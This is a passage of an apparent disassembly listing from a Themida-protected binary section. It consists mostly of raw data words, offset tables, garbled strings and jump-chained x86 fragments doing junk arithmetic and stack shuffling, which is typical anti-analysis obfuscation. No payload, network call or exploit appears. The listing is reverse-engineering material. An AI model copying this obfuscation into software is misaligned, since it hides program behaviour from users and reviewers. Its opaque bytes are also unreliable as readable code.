		dd 0D2124616h, 6A830Fh,	0C0330000h, 850FD202h, 5, 1246168Ah
		dd 2A830FD2h, 2000001h,	5850FD2h, 8A000000h, 0D2124616h
		dd 0D202C013h, 5850Fh, 168A0000h, 13D21246h, 0FD202C0h
		dd 585h, 46168A00h, 0C013D212h,	850FD202h, 5, 1246168Ah
		dd 0FC013D2h, 684h, 0F82B5700h,	885F078Ah, 2BB4707h, 0E9000000h
		dd 0FFFFFF70h, 1B8h, 0FD20200h,	585h, 46168A00h, 0C013D212h
		dd 850FD202h, 5, 1246168Ah, 0DE820FD2h,	2BFFFFFFh, 1BBC3h
		dd 850F0000h, 34h, 1B9h, 0FD20200h, 585h, 46168A00h, 0C913D212h
		dd 850FD202h, 5, 1246168Ah, 0DE820FD2h,	56FFFFFFh, 0F52BF78Bh
		dd 0E95EA4F3h, 0FFFFFF08h, 8E0C148h, 8B46068Ah,	1B9E8h
		dd 0D2020000h, 5850Fh, 168A0000h, 13D21246h, 0FD202C9h
		dd 585h, 46168A00h, 820FD212h, 0FFFFFFDEh, 7D003Dh, 22830F00h
		dd 3D000000h, 500h, 0E820Fh, 56410000h,	0F02BF78Bh, 0E95EA4F3h
		dd 0FFFFFEB4h, 0F7FF883h, 387h,	2C18300h, 2BF78B56h, 5EA4F3F0h
		dd 0FFFE9BE9h, 46068AFFh, 0E8C0C933h, 17840F01h, 83000000h
		dd 0E88B02D1h, 2BF78B56h, 5EA4F3F0h, 1BBh, 0FE76E900h
		dd 7C2BFFFFh, 7C892824h, 0C2611C24h, 29BA0008h,	0E9000009h
		dd 21F86h, 5C4087h, 5C5BB2h, 0
		dd offset word_5C5BB2
		dd 25B0028h, 12FF6Ch, 25B003Fh,	202h, 2, 1, 3, 0FA2B79D0h
		dd 5 dup(0)
		dd offset byte_55B19D
		dd offset aM0RMfs	; "¬0ØR²mfS·ß"
		dd offset dword_555250
		dd offset byte_55B70F
		dd offset byte_55241F
		dd offset off_551FD5
		dd offset byte_556DAD
		dd offset byte_55518F
		dd offset dword_558970
		dd offset byte_55BFB3
		dd offset dword_5555A0
		dd offset dword_558278
		dd offset byte_556BED
		dd offset byte_555303
		dd offset byte_55BE03
		dd offset dword_55BF58
		dd offset dword_55A458
		dd offset byte_55B32F
		dd offset byte_559069
		dd offset aNsP		; "­é\ap"
		dd offset byte_558685
		dd offset aRslw		; "Rélw"
		dd offset dword_550294
		dd offset byte_5518FF
		dd offset byte_556799
		dd offset byte_55BAC5
		dd offset word_557056
		dd offset byte_5572D9
		dd offset byte_552B8B
		dd offset byte_55AE07
		dd offset word_555406
		dd offset byte_5522E1
		dd offset dword_5565E0
		dd offset word_559302
		dd offset word_55697E
		dd offset dword_556990
		dd offset byte_552C59
		dd offset byte_552D91
		dd offset word_55A1FA
		dd offset byte_559781
		dd offset byte_55BA75
		dd offset byte_55478F
		dd offset loc_558315
		dd offset dword_553FBC
		dd offset byte_55474F
		dd offset byte_554FA9
		dd offset byte_54FABD
		dd offset byte_559E81
		dd offset word_5597D6
		dd offset dword_55582C
		dd offset byte_55951D
		dd offset aNqUS_	; "­Q¹\\UÝ\vé_<"
		dd offset word_5502E6
		dd offset word_559836
		dd offset byte_555FCF
		dd offset dword_5571F4
		dd offset byte_553F13
		dd offset word_55AF46
		dd offset dword_5591BC
		dd offset dword_55918C
		dd offset dword_556F10
		dd offset word_55171E
		dd offset word_552952
		dd offset byte_553BB7
		dd offset byte_5547D7
		dd offset word_554A5E
		dd offset byte_55736F
		dd offset word_550AC2
		dd offset aN1SsB	; "­1ØSéÛ¡"
		dd offset byte_555E45
		dd offset byte_551483
		dd offset byte_555B67
		dd offset byte_5541BB
		dd offset word_55A412
		dd offset byte_5591AB
		dd offset dword_5599E0
		dd offset byte_55A6E5
		dd offset dword_5520E8
		dd offset byte_55A3CD
		dd offset word_5596EE
		dd offset dword_557B38
		dd offset aMZA		; "¬,§,€,<"
		dd offset byte_55A047
		dd offset byte_55BB65
		dd offset byte_558BC1
		dd offset dword_550180
		dd offset byte_556B6F
		dd offset byte_55083F
		dd offset byte_554EB1
		dd offset byte_55808B
		dd offset dword_559A38
		dd offset dword_558980
		dd offset byte_55700D
		dd offset word_55556E
		dd offset word_5596E6
		dd offset byte_5554E7
		dd offset aNhd		; "­hD'"
		dd offset byte_553A97
		dd offset byte_5581BD
		dd offset dword_55511C
		dd offset byte_5580A3
		dd offset byte_556AB7
		dd offset aN1Us		; "­1ØUéœ|"
		dd offset dword_5574C4
		dd offset dword_559C74
		dd offset byte_55029D
		dd offset byte_552BEF
		dd offset byte_553185
		dd offset byte_55BBD3
		dd offset byte_557D15
		dd offset byte_5544DB
		dd offset byte_555615
		dd offset dword_553194
		dd offset word_55B4E6
		dd offset byte_555F0B
		dd offset byte_552A8B
		dd offset dword_553904
		dd offset byte_559B1D
		dd offset word_55394A
		dd offset dword_551B5C
		dd offset byte_553F69
		dd offset dword_55B588
		dd offset byte_550763
		dd offset dword_557A9C
		dd offset word_550202
		dd offset word_5521DA
		dd offset byte_558CD3
		dd offset byte_54FC1B
		dd offset dword_553FF4
		dd offset byte_55AA63
		dd offset dword_5514D8
		dd offset off_556666
		dd offset byte_5500ED
		dd offset dword_556B28
		dd offset dword_556DDC
		dd offset dword_552090
		dd offset byte_5526A1
		dd offset byte_554D53
		dd offset aNs7		; "­é¹7"
		dd offset byte_559B97
		dd offset byte_555245
		dd offset dword_556BD8
		dd offset word_55773A
		dd offset byte_55272B
		dd offset byte_559D53
		dd offset byte_554C47
		dd offset byte_55013B
		dd offset byte_5561CD
		dd offset byte_553FE3
		dd offset word_55646E
		dd offset byte_5565C9
		dd offset byte_550067
		dd offset byte_55729B
		dd offset dword_55BF0C
		dd offset dword_550A18
		dd offset byte_55B25D
		dd offset dword_55A078
		dd offset word_55069A
		dd offset aMfsps1	; "¬fSPé'1"
		dd offset aMqSC		; "¬Q±×é¼C"
		dd offset dword_5543E8
		dd offset dword_553854
		dd offset dword_554874
		dd offset byte_557EB1
		dd offset byte_55AD7D
		dd offset dword_554B88
		dd offset byte_55968D
; ---------------------------------------------------------------------------


loc_54F76C:				; CODE XREF: Themida_:005825D6j
					; Themida_:0059C524j ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 6297DA4h
		mov	eax, edi
		add	edi, 6297ABCh
		cmp	eax, [edi+2Ch]
		jnz	short loc_54F78A
		jmp	short loc_54F79D
; ---------------------------------------------------------------------------


loc_54F78A:				; CODE XREF: Themida_:0054F786j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_54F799
; ---------------------------------------------------------------------------


loc_54F794:				; CODE XREF: Themida_:0054F79Bj
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_54F799:				; CODE XREF: Themida_:0054F792j
		or	ecx, ecx
		jnz	short loc_54F794


loc_54F79D:				; CODE XREF: Themida_:0054F788j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_54F7AA:				; CODE XREF: Themida_:0054F7B1j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_54F7AA


loc_54F7B3:				; CODE XREF: Themida_:0055002Ej
					; Themida_:loc_55103Bj	...
		lodsb
		jmp	loc_556B05
; ---------------------------------------------------------------------------


loc_54F7B9:				; CODE XREF: Themida_:0055850Dj
		push	50FAh
		mov	[esp], edx
		jmp	loc_55A984
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 22201120h, 7CE6E9h
		db 0
; ---------------------------------------------------------------------------


loc_54F7D1:				; CODE XREF: Themida_:00550A13j
		push	1865h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		jmp	loc_5596D7
; ---------------------------------------------------------------------------


loc_54F7E5:				; CODE XREF: Themida_:0055202Ej
		mov	esi, 61342CAAh
		not	esi
		or	esi, 798D3388h
		add	esi, 34470DE1h
		dec	esi
		sub	esi, 341701B9h
		add	edx, esi
		jmp	loc_558C43
; ---------------------------------------------------------------------------


loc_54F806:				; CODE XREF: Themida_:0055875Ej
		pop	eax
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		add	esp, 4
		not	ebp
		push	45FDh
		mov	[esp], eax
		jmp	loc_54FA87
; ---------------------------------------------------------------------------


loc_54F823:				; CODE XREF: Themida_:0055189Fj
		push	1158h
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_556C85
; ---------------------------------------------------------------------------
		dd 0E17F76B8h, 4F54055Eh, 0E8D1175Ah, 3503E8C1h, 231E5462h
		dd 3507E0C1h, 5413797h,	242C8150h, 61B10E7Eh, 7EC2815Ah
		dd 5861B10Eh, 815AD029h, 4ECh, 243C8900h, 83B85051h, 0B92BA93Ch
		dd 47EEF038h, 5758C101h, 302C72BFh, 6CCF8114h, 0F72E851Fh
		dd 5CBBE9D7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54F88E:				; CODE XREF: Themida_:0055248Fj
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_5528FF
; ---------------------------------------------------------------------------
aTsC		db 'Té<—',0
		align 4
		dd 8124148Bh, 4C4h, 16F7E900h, 685D0000h, 6ABDh, 0FF241C89h
		dd 5B042474h, 8B24048Fh, 14892424h, 0E99C5024h,	0FFFFFEDBh
; ---------------------------------------------------------------------------


loc_54F8D8:				; CODE XREF: Themida_:00558A3Aj
		mov	[esp], edi
		push	ebx
		push	esi
		mov	esi, 29871FB2h
		sub	[esp+4], esi
		pop	esi
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_5576FE
; ---------------------------------------------------------------------------


loc_54F8FF:				; CODE XREF: Themida_:005518FAj
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_54FC59
; ---------------------------------------------------------------------------
		db 47h
		dd 0E903E7C1h, 0B3Ch, 3124E956h, 0EE810000h, 5F1F2E2Ch
		dd 0E95EF129h, 2A37h, 9A49C681h, 0AEE9B158h, 89000039h
		dd 40BF57E2h, 81451C76h, 0E389C4C7h, 927DE9BAh,	28590000h
		dd 0E9A92CD8h, 4AA1h, 81240C8Bh, 4C4h, 5AF58800h, 0C8BEE88h
		dd 4C48124h, 28000000h,	24148BF0h, 0A7EEE9h, 0D1E98100h
		dd 0E908CB0Fh, 4AE1h
; ---------------------------------------------------------------------------


loc_54F984:				; CODE XREF: Themida_:00556CFDj
		shl	ebx, 7
		sub	ebx, 0DAC379E8h
		xor	edx, ebx
		pop	ebx
		jmp	loc_5518AA
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_556095
; ---------------------------------------------------------------------------
aS4_0		db '\é4^',0
		dw 5A00h
		dd 4BB53h, 0C2810000h, 5A2F55EBh, 2A90C281h, 14E920F3h
		dd 0BA000052h, 4, 3CEBE9h, 2CB95100h, 89101513h, 7F6FE9CDh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54F9D2:				; CODE XREF: Themida_:00554F3Aj
		sub	ebp, 36310894h
		add	ebp, ebx
		add	ebp, 36310894h
		add	ebp, 2F461BD3h
		pop	ebx
		add	ebp, 4
		jmp	loc_55791D
; ---------------------------------------------------------------------------
		dd offset dword_519448+20h
		align 4
		dd 51240C89h, 0B21562B9h, 0BF30E93Eh, 14890000h, 1D7FE924h
		db 2 dup(0)
aNs7		db '­é¹7',0             ; DATA XREF: Themida_:0054F6F8o
		align 10h
		dd 7945C281h, 98E93860h, 81FFFFFDh, 823EAD32h, 24048B37h
		dd 8B04C483h, 0C4812414h, 4, 0EC83D231h, 241C8904h, 582434FFh
		dd 81E38953h, 4C3h, 4EB8100h, 0E9000000h, 9434h
; ---------------------------------------------------------------------------


loc_54FA50:				; CODE XREF: Themida_:00558B5Aj
		add	edx, 1
		xor	edx, 1BCD49F1h
		push	esi
		push	edx
		mov	edx, 29AB51F4h
		mov	esi, 3120CBABh
		sub	esi, edx
		pop	edx
		sub	[esp+8], esi
		pop	esi
		jmp	loc_55BDC3
; ---------------------------------------------------------------------------
		dw 3487h
		dd 14895C24h, 68575024h, 792045E4h, 0AAE9475Fh
		db 0Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54FA87:				; CODE XREF: Themida_:0054F81Ej
		push	755Dh
		jmp	loc_556390
; ---------------------------------------------------------------------------
aA2aF		db '€Â2€Ç”',0
		dd 68FCE9D7h, 0B0BE0000h, 961C07Dh, 8E95EF3h, 5B00003Fh
		dd 0ABA2E953h, 0C3810000h, 339A5DEEh, 6B5AE9h
		db 0
byte_54FABD	db 66h,	8Bh, 4		; DATA XREF: Themida_:0054F588o
aHw		db '$hW',9,0
		align 2
		dw 0F6E9h
		dd 5D00006Ah, 4553C381h, 0DF011B33h, 5C69E9h
		db 0
; ---------------------------------------------------------------------------


loc_54FAD9:				; CODE XREF: Themida_:00558935j
		inc	edx
		inc	edx
		add	edx, 0E78436Bh
		jmp	loc_557FBE
; ---------------------------------------------------------------------------


loc_54FAE6:				; CODE XREF: Themida_:00552125j
		pop	ebx
		push	esi
		sub	esp, 4
		mov	[esp], edi
		push	58B9288Ch
		pop	edi
		jmp	loc_5579E0
; ---------------------------------------------------------------------------
		dd 2BF7815Fh, 31BCF0DBh, 0C6215FF8h, 0FCE8158h,	55461775h
		dd 8F049FBDh, 6BE58163h, 0E93D4A7Dh, 0B940h, 455BDD89h
		dd 0C5E9D5F7h, 55000099h, 0EC2241BDh, 8EDC151h,	8107EDC1h
		dd 3C90C5C5h, 5DE88967h, 4905D0F7h, 0E92BF04Ch,	568Bh
		dd 295DEA29h, 0C6BF57C2h, 0E9268C1Ah, 0FFFFFC6Ah
; ---------------------------------------------------------------------------


loc_54FB5C:				; CODE XREF: Themida_:00554949j
		pop	eax
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55A83E
; ---------------------------------------------------------------------------
		dd offset dword_43D628+40h
		dd 241C8900h, 42474FFh,	24048F5Bh, 6624248Bh, 5D68E1F7h
		dd 0E900006Bh, 97E8h, 0ACC28159h, 0E902FED3h, 60C7h, 2FEBCD81h
		dd 81454281h, 3CB43F5h,	5DEB218Bh, 789E9h
		db 0
; ---------------------------------------------------------------------------


loc_54FBA9:				; CODE XREF: Themida_:00555F4Ej
		push	dword ptr [esp]
		pop	esi
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_55A3EE
; ---------------------------------------------------------------------------
		dw 0F101h
		dd offset dword_515C48+6A1h
		dd 4EC8100h, 0E9000000h, 178Bh,	4C681h,	0C6830000h, 24348702h
		dd 5A68665Ch, 1489666Dh, 74FF6624h, 8B660224h, 0E9512414h
		dd 4E17h, 1A78EEBFh, 8E7C169h, 0E843EF81h, 5750D06Ah, 0CA242C81h
		dd 580AAD01h, 0AD01CA05h, 58C1890Ah, 0D987495Fh, 8BE9DBF7h
		db 3Dh,	2 dup(0)
byte_54FC1B	db 66h			; DATA XREF: Themida_:0054F6CCo
		dd 0E924048Bh, 7871h, 2FFFC681h, 48E936B8h, 1000057h, 78E95DEBh
		dd 500000BAh, 0C4246EB0h, 45E9D0F6h, 89000034h,	61B5240Ch
		dd 34FFEF88h, 0C4815924h, 4, 6E3FE9h
		db 0
; ---------------------------------------------------------------------------


loc_54FC59:				; CODE XREF: Themida_:0054F90Ej
		and	eax, edx
		mov	edx, [esp]
		add	esp, 4
		shr	eax, 10h
		xor	eax, ecx
		xor	eax, esi
		jmp	loc_559AC7
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 1BAh, 9F4BE900h, 0ED800000h,	0AED8001h, 0B70EED80h
		dd 0FFEF305Eh, 83592434h, 0F78004C4h, 0FFF83098h, 1C8B2434h
		dd 4C48324h, 4C481h, 0A1E90000h
		db 65h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54FCA7:				; CODE XREF: Themida_:005521CFj
		add	eax, 17A07DFBh
		add	eax, 0F8B4C530h
		add	ebp, eax
		jmp	loc_558C80
; ---------------------------------------------------------------------------
aFmsc		db 'fMéæ+',0
		dw 8100h
		dd 0DC4B26C2h, 0E3BD553Eh, 165DA85h, 0D0015DEAh, 3CF9E9h
		db 0
; ---------------------------------------------------------------------------


loc_54FCD5:				; CODE XREF: Themida_:005525BCj
		pop	esp
		push	ecx
		mov	ecx, 0D6BFDF7Dh
		jmp	loc_553B75
; ---------------------------------------------------------------------------
		db 68h,	9Ch, 0Ah
		dd 34890000h, 815E5424h, 4C6h, 4B40E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54FCF6:				; CODE XREF: Themida_:00558580j
		mov	[esp], edx
		push	edi
		mov	edi, 3C744709h
		jmp	loc_550678
; ---------------------------------------------------------------------------
aItfxaPshl	db 'ˆâfX€êPéH«',0
		align 10h


loc_54FD10:				; CODE XREF: Themida_:00552D76j
		mov	esp, [esp]
		jmp	loc_5580AC
; ---------------------------------------------------------------------------


loc_54FD18:				; CODE XREF: Themida_:00557DADj
		push	15A4h
		mov	[esp], eax
		mov	eax, 47AD4045h
		xor	ebp, eax
		pop	eax
		shl	ebp, 1
		shr	ebp, 7
		push	edi
		mov	edi, 31992AD6h
		shl	edi, 6
		sub	edi, 76782DA7h
		sub	ebp, edi
		mov	edi, [esp]
		push	esi
		jmp	loc_55364C
; ---------------------------------------------------------------------------
		db 5Fh
		dd 4A1DBB53h, 0EB81704Dh, 6D7B0D04h, 0E3C1DBF7h, 17A7E906h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54FD5E:				; CODE XREF: Themida_:0055A795j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		xor	edx, 720A744Fh
		not	edx
		push	esi
		jmp	loc_55270C
; ---------------------------------------------------------------------------
		dd 155C781h, 0DF017288h, 155EF81h, 0C15B7288h, 814F07E7h
		dd 0BFCF83C7h, 8BF9014Bh, 0E957243Ch, 5D9Bh, 0FFFA0EE9h
		dd 0B7535BFFh, 0F6CFFEC7h, 423AE9D7h, 40350000h, 8998D68Bh
		dd 40E6E9C3h, 665C0000h, 2404BB0Fh, 0F9E9E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54FDCA:				; CODE XREF: Themida_:0055AB38j
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_554A94
; ---------------------------------------------------------------------------
		dd 286F8858h, 2434FF59h, 4C4835Bh, 0FFF9CAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54FDE9:				; CODE XREF: Themida_:00558F58j
		add	esp, 4
		or	eax, eax
		jz	loc_55A8C9
		push	61E5h
		mov	[esp], edx
		push	ecx
		mov	ecx, 16CD7736h
		push	ecx
		mov	ecx, 16CD772Ah
		push	ecx
		pop	edx
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_559BE6
; ---------------------------------------------------------------------------
		dd 624F68h, 240C8900h, 2BCCE9h,	12685E00h, 8900007Eh, 6BE92434h
		dd 81FFFFFCh, 90493CC1h, 50E1D137h, 280BF3B8h, 0CF7E9E0h
		dd 0C6810000h, 33902F55h, 50B1EE81h, 62E9448Eh,	0BF000078h
		dd 4, 815FFD01h, 2C5h, 4C936800h, 2C890000h, 2474FF24h
		dd 2434FF04h, 0E089505Dh, 0B2BE5651h, 0B9285F52h, 1A5D5D64h
		dd 0A610E9h, 5E08900h, 4, 2B951h, 0BB530000h, 3A386B5Fh
		dd 15BD829h, 6B5F05C8h,	37E93A38h, 0F6000059h, 5A012454h
		dd 32243430h, 34302434h, 0F8F5E924h, 0C631FFFFh, 2625F681h
		dd 0F68174B2h, 0E89184A8h, 535EF031h, 751CBE56h, 0DE875D16h
		dd 0DE87D3F7h, 0FFFFEE81h, 0EED1FFFFh, 0B951DEF7h, 7FDCD1FFh
		dd 4465EE81h, 0CE014AF2h, 4465C681h, 68594AF2h,	2A87h
		dd 81243489h, 3BBE2434h, 0E95B2575h, 2F37h, 0FFF89EE9h
		dd 243489FFh, 0B6ACE9h,	2474FF00h, 98EEE904h, 0FF560000h
		dd 0E9042474h, 0A9E1h, 2F5B0EB9h, 81D1F75Ch, 0D0A4F5F1h
		dd 59CF01A3h, 7304E9h, 0FBB5300h, 2154732Bh, 0C2815BDAh
		dd 20437F78h, 52BCE9h
		db 0
; ---------------------------------------------------------------------------


loc_54FF59:				; CODE XREF: Themida_:0055ABA8j
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	ecx
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		add	ecx, 4
		jmp	loc_5585D7
; ---------------------------------------------------------------------------
		dd 662AACB8h, 917FE913h, 76680000h, 0E900004Dh,	56B3h
		dd 0FFF81AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54FF99:				; CODE XREF: Themida_:00551179j
		sub	esi, edx
		pop	edx
		jmp	loc_553F1C
; ---------------------------------------------------------------------------


loc_54FFA1:				; CODE XREF: Themida_:005515ECj
		pop	ebx
		xor	ecx, 8AB9D7h
		and	eax, ecx
		mov	ecx, [esp]
		jmp	loc_5556D4
; ---------------------------------------------------------------------------


loc_54FFB2:				; CODE XREF: Themida_:00552170j
		sub	eax, 7B655E74h
		sub	esp, 4
		jmp	loc_551842
; ---------------------------------------------------------------------------
aSHnu		db 'Áè',8,'hNu',0
		dw 8900h
aH6f1QBc8pjZS	db '<$¿H6F1Áï',7,'ç8PJ\‡ßéÓ',0
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54FFDF:				; CODE XREF: Themida_:005584DFj
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_55A341
; ---------------------------------------------------------------------------
		db 0B9h, 2, 0
		dd 0C8290000h, 5912E9h,	2434FF00h, 582434FFh, 8904EC83h
		dd 0E189240Ch, 4C181h, 0BD550000h, 4, 335DE901h, 0C31240Ch
		dd 240C3324h, 0BFF0E9h,	0E2E95200h
		db 39h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55002B:				; CODE XREF: Themida_:0055BADEj
		mov	[esp], ecx
		jmp	loc_54F7B3
; ---------------------------------------------------------------------------
		db 83h
		dd 0C38304C4h, 241C8704h, 9BBAE9h, 40500h, 0C0830000h
		dd 24048704h, 0C8B60F5Ch, 17EC68h, 240C8900h, 0FFF756E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55005D:				; CODE XREF: Themida_:0055B8F9j
		add	ebx, edx
		pop	edx
		mov	ecx, [ebx]
		jmp	loc_5502F7
; ---------------------------------------------------------------------------
byte_550067	db 66h			; DATA XREF: Themida_:0054F72Co
		dd 8324048Bh, 0C8904ECh, 0F830E924h, 3C8BFFFFh,	1FC3E924h
		dd 0FF5A0000h, 56592434h, 5053E689h, 3818DE68h,	4E2D5826h
		dd 89C01BCBh, 0EBC158C3h, 209E906h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55009E:				; CODE XREF: Themida_:00559E0Bj
		add	ebp, 4
		jmp	loc_555037
; ---------------------------------------------------------------------------
		db 66h,	89h, 14h
		dd 4818E924h, 0D3F70000h, 0EF81DF87h, 0EE1CE359h, 0BD34112Dh
		dd 0E9F80173h, 0B359h, 0C281DAF7h, 62363012h, 4719EB81h
		dd 0D329795Fh, 266CBD55h, 0D5F775A0h, 1756E9h, 6E8C100h
		dd 2192E9h
		db 0
byte_5500ED	db 0FFh, 34h, 24h	; DATA XREF: Themida_:0054F6E0o
		dd 8124048Bh, 4C4h, 6A60E900h, 348B0000h, 4C48124h, 0E9000000h
		dd 5C7Fh, 60D1F781h, 0FD890EF8h, 0BB1EE9h, 0E9EDD100h
		dd 92D1h, 8E95451h, 2D000097h, 39AD7538h, 2210E95Eh, 34FF0000h
		dd 0C8E95A24h
		db 93h,	2 dup(0)
byte_55013B	db 66h			; DATA XREF: Themida_:0054F718o
		dd 5624048Bh, 6BBE68h, 7ACAE900h, 0EB810000h, 4, 5C241C87h
		dd 0E9240489h, 0FFFFFD2Dh, 0BF57E389h, 4, 505FFB01h, 2B8h
		dd 8EBD5500h, 0E970FE2Ah, 8795h, 0E9241C8Bh, 8F35h
dword_550180	dd 0FF2434FFh, 68582434h, 7E2Ch, 89240C89h, 0A5ECE9E1h
					; DATA XREF: Themida_:0054F624o
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_550196:				; CODE XREF: Themida_:00553F1Dj
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_555FE7
; ---------------------------------------------------------------------------
		db 81h,	0F1h, 0BAh
		dd 89528D23h, 0FD8959CFh, 0D1B9515Fh, 49315705h, 0AD06E941h
		dd 0C3810000h, 3B1B28F0h, 0B5E9D989h
		db 2Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5501C7:				; CODE XREF: Themida_:0055B9ADj
		push	0BBDh
		mov	[esp], ebx
		jmp	loc_5577B1
; ---------------------------------------------------------------------------
		dd 81241C8Bh, 4C4h, 53D10100h, 0BBh, 88CB0100h,	34FF5B03h
		dd 2434FF24h, 4C48159h,	81000000h, 4C4h, 0FD0EE900h
		db 2 dup(0FFh)
word_550202	dw 34FFh		; DATA XREF: Themida_:0054F6C0o
		dd 2434FF24h, 9266E9h
		db 0
; ---------------------------------------------------------------------------


loc_55020D:				; CODE XREF: Themida_:00554AA4j
		push	edx
		jmp	loc_5535C0
; ---------------------------------------------------------------------------
aSxg		db ']éX£',0
		dd 5B545300h, 70A4BD55h, 0B951486Eh, 135B2C96h,	9FE9CD01h
		dd 8900006Ch, 24148BD5h, 0E9E28952h, 7D04h, 28BBC580h
		dd 0C8B59E8h, 67BAE924h, 98BD0000h, 9105A49h, 81495DE9h
		dd 6ED478C1h, 39DE90Bh,	0EB800000h, 68872C62h, 6D7Ah, 0B6241489h
		dd 28EF0430h, 0E9EF2CF0h, 7AAFh
; ---------------------------------------------------------------------------


loc_550278:				; CODE XREF: Themida_:0055A4CBj
		add	edi, eax
		sub	edi, 46651D7Ah
		sub	edi, 51407346h
		pop	eax
		mov	eax, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_551E7A
; ---------------------------------------------------------------------------
dword_550294	dd 5A2434FFh, 3EDFE9h	; DATA XREF: Themida_:0054F528o
		db 0
byte_55029D	db 66h,	0F7h, 1Ch	; DATA XREF: Themida_:0054F674o
		dd 0CE99C24h, 43FFFFF5h, 83CDE9h, 241C8900h, 3F10E9h, 0E9516600h
		dd 6EF5h, 0E924048Fh, 7D68h
; ---------------------------------------------------------------------------


loc_5502C4:				; CODE XREF: Themida_:0055655Dj
		shl	esi, 2
		shl	esi, 6
		or	esi, 36462057h
		sub	esi, 0FFFFFFFFh
		jmp	loc_5543DA
; ---------------------------------------------------------------------------
		dd 4BA5258h, 1000000h, 9FDAE9D0h
		db 2 dup(0)
word_5502E6	dw 77FFh		; DATA XREF: Themida_:0054F5A0o
		dd 0F4C5E92Ch, 0FF55FFFFh, 0CDE9240Ch
		db 0AAh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5502F7:				; CODE XREF: Themida_:00550062j
		mov	ebx, [esp]
		add	esp, 4
		mov	edx, [esp]
		jmp	loc_55B42E
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 4
a4vdbu		db '4‚dî',0
		dw 7044h
		dd 0F8A4E90Fh
		db 2 dup(0FFh)
aN1SsB		db '­1ØSéÛ¡',0          ; DATA XREF: Themida_:0054F5E0o
		dw 8100h
		dd 884637EBh, 81CB0163h, 884637C3h, 330FE963h, 48930000h
		dd 0E2C38193h, 1AFFBBFh, 0C5835BDDh, 242C8702h,	53D7E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55034A:				; CODE XREF: Themida_:00551E7Ej
		mov	ebp, 64DD671Ch
		shl	ebp, 8
		and	ebp, 52A86947h
		xor	ebp, 50200804h
		add	ebx, 18E6E86h
		add	ebx, ebp
		push	eax
		jmp	loc_558497
; ---------------------------------------------------------------------------
		dd 367DCB2Dh, 6939E91Fh, 1C0C0000h, 0A0FFE9h
		db 0
; ---------------------------------------------------------------------------


loc_55037D:				; CODE XREF: Themida_:00558A48j
		pop	esp
		add	edx, 3F991F62h
		jmp	loc_55208A
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 4BBh, 8BD90100h, 8951241Ch, 4C181E1h, 83000000h, 0C8704C1h
		dd 0C875C24h, 0B9515C24h, 4B041D39h, 6AFDE9h
		db 0
; ---------------------------------------------------------------------------


loc_5503B5:				; CODE XREF: Themida_:00556E9Dj
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_5550C7
; ---------------------------------------------------------------------------


loc_5503C3:				; CODE XREF: Themida_:00553453j
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_557A3E
; ---------------------------------------------------------------------------
		db 0B8h, 18h, 37h
		dd 0EB0D4BE1h, 0E912D123h, 0B63Fh, 0AA1688BEh, 8E6C14Eh
		dd 0CE81E6D1h, 77602AF4h, 6D89CE81h, 0B4E979CAh, 30000011h
		dd 0C0B60FC3h, 6887048Dh, 3B0Dh, 89240C89h, 24C8E9E1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_550412:				; CODE XREF: Themida_:00558177j
		inc	ecx
		jmp	loc_557542
; ---------------------------------------------------------------------------


loc_550418:				; CODE XREF: Themida_:0055770Ej
		xor	eax, 3B847F75h
		xor	eax, 52623C79h
		push	esi
		mov	esi, 55155DEDh
		inc	esi
		sub	esi, 265F30C7h
		add	eax, esi
		pop	esi
		jmp	loc_55A4BF
; ---------------------------------------------------------------------------


loc_550437:				; CODE XREF: Themida_:0055A853j
